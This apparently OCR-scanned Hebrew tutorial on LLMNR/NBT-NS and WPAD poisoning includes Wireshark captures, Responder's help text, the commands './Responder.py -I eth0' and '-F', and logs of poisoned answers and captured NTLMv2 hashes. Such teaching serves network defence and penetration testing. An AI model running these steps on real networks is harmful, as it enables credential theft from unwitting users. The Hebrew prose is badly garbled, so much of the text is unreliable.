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lo. Time Source Destination Protocol  Length Info
1168 15.626466 192.168.1.7 224.8.8.252 LLMNR 64 Standard query @xd265 A test
1163 15.627501 192.168.1.23 192.168.1.7 LLMNR 84 Standard query response @xd265 A test A 192.168.1.23

Transaction ID: @xd265
Flags: 0x@008 Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
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LLMNR / NBT-NS Poisoning

1. Connect to \\pintserver 2. 1 don’t know that one

DNS Server

3. Anyone know \\pintserver ???

AN

5. OK! Here are my
credentials:

4. Yesllit's
right here!

Attacker

Stern Security LLC
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:Wireshark-2 na nix17 |ma

Link-local Multicast Mame
Transaction ID: @x75fa

¥ Flags: 8x@eed Standard
Bowe woss smaa swaa

.Bee B... ..., ...
.

cooo ocood cooo oooc
Questions: 1
Answer RRs: 8
Authority RRs: @
Additional RRs: @

Resolution (query)

query

Response: Message is a query

Opcode: Standard query (@)

Conflict: None
Truncated: Message is not truncated
Tentative: Not tentative

Chrome-7 Nn1TN

NIN'R WINT?2 NNYY7 N1017 221 |07y LLMNR Niwpa n71w Chrome DN DaXn nnd v

7277 N ) wpad -0 N NXR'¥N? LLMNR nwpa ny¥ann Chrome NX D'72'yon TURD Tn .1

:("opNON NNTAN DX

Mo, Time Source Destination Protocol  Length Info
[ 8 8.821685 192.168.1.7 224.8.8,252 LLMNR 64 Standard query @x4124 A wpad
32 8.431895 162.168.1.7 224.8.8.252 LLMNR 64 Standard query 8x4124 A wpad
NI LLMNR niwiza niyyann n7yonn X7 .2

192.168.1.7 224.8.8.252 LLMNR 78 Standard query @xf@@2 A yjnmzxoszl
192.168.1.7 224.8.8.252 LLMNR 71 standard query Bxdl84 A uwkklngyrjwv
192.168.1.7 224.8.8.252 LLMNR 69 Standard query @x7cb8 A kpxrmbruw
192.168.1.7 224.8.8.252 LLMNR 71 Standard query @xdl184 A uwkklngyrjw
192.168.1.7 224.8.8.252 LLMNR 69 Standard query @x7cb8 A kpxrmbruw
192.168.1.7 224.8.8.252 LLMNR 78 Standard query @xf@82 A yjnmzxoszl
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Responder

.Laurent Gaffie T v pm'oa aNdw D' "D ,Responder-Dd7w WTNN NaNN NX 1NDN
JIMNMWOKR 7w 07w D71y y'yn Xin X "LLMNR/NBT-NS/mDNS Poisoner” Xin Nnivwoa Responder

:help-n 7y 2¥j7 vVan q'wa . TIVI LDAP ,DNS ,WPAD N , Smb-Relay :nnaiT?

./Responder.py -h

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,

BROWSER, LLMNR requests without responding.

-1 eth0, --interface=eth0
Network interface to use

-1 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for 0OSX)

-b, --basic Return a Basic HTTP authentication. Default: NTLM

-r, —--wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False

-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False

-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.

-w, —--wpad Start the WPAD rogue proxy server. Default value is
False

—-u UPSTREAM PROXY, --upstream-proxy=UPSTREAM PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)

-F, —--ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:

False

--1m Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False

-v, --verbose Increase verbosity.

© 17w qa0nn syntax-n X'n Responder DY N'yan ,0N1ANY '9)

./Responder.py -I ethO
[+] Listening for events...
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'rgjiﬁﬂﬁi“56igaﬁ;ﬂ-;ﬁ;ﬁér sent to 192.168.1.24 for name EGSEMXVDLIXGERT
] [NBT-NS] Poisoned answer sent to 192.168.1.24 for name UMYGCTUEPRF (ser
Workstation/Redirector)

[*] [LLMNR] Poisoned answer sent to 192.168.1.24 for name UmMV¥QCtUERTT
.

[*] [NBT-NS] Poisoned answer sent to 192.168.1.
kstation/Redirector)
[*] [LLMNR] Poisoned answer sent to 192.168.1.24 for name [dFSdilgH

4 for name DREDIGM (service
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:credentials-n NX 72 qzINNI

Listening for events...
[NBT-NS] Poisoned answer sent to 192.168.1.24 for name TEST
[LLMNR] Poisoned answer sent to 192.168.1.24 for name test
NTLMv2 Client : 192.168.1.24
NTLMv2 Username
NTLMv2 Hash

[*] Skipping previously captured hash for DESKTOP-SOB7DLP\test
[+1 Exitinag...

T TV WX L,WI9'NN NIYA N7'n wO'N qPNIN TWKRD 1 credentials-n IR 727 1n7¥n ,0mN1a

(© 9107 2100 NX DNIY) NPTA K7 TIVY

WPAD

U ,19TN7  'opnoN NNTAN DR 737 NIn 7Y wpad-n MY 7R Nwa? N0 DD 7T 1NN
y¥27 awnnn NX "nnmon" oxva It NNWoN L, “Force WPAD auth” nxj7an Responder-a NNWOXR

.wpad.dat -n yaIp 7m 78 nin'x

:responder 7w Jalonn Syntax-n 7V 1112 12D 72X ,off-d N1Tam X0 by default

./Responder.py -I eth0 -F
Force WPAD auth [ON]
[+] Listening for events...

:0D2'197 NRXINN L,|9TOTN NN 7'V NN AWNN 7K AW WA

[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.1.24 for name wpad
[*] [LLMNR] Poisoned answer sent to 192.168.1.24 for name jWpad
NTLMv2 Client : 192.168.1.24
NTLMv2 Username :
NTLMv2 Hash

[813Y:

HTTP] WPAD (auth) file sent to 192.168.1.24
[*] [LLMNR] Poisoned answer sent to 192.168.1.24 for name ISAProxySrv
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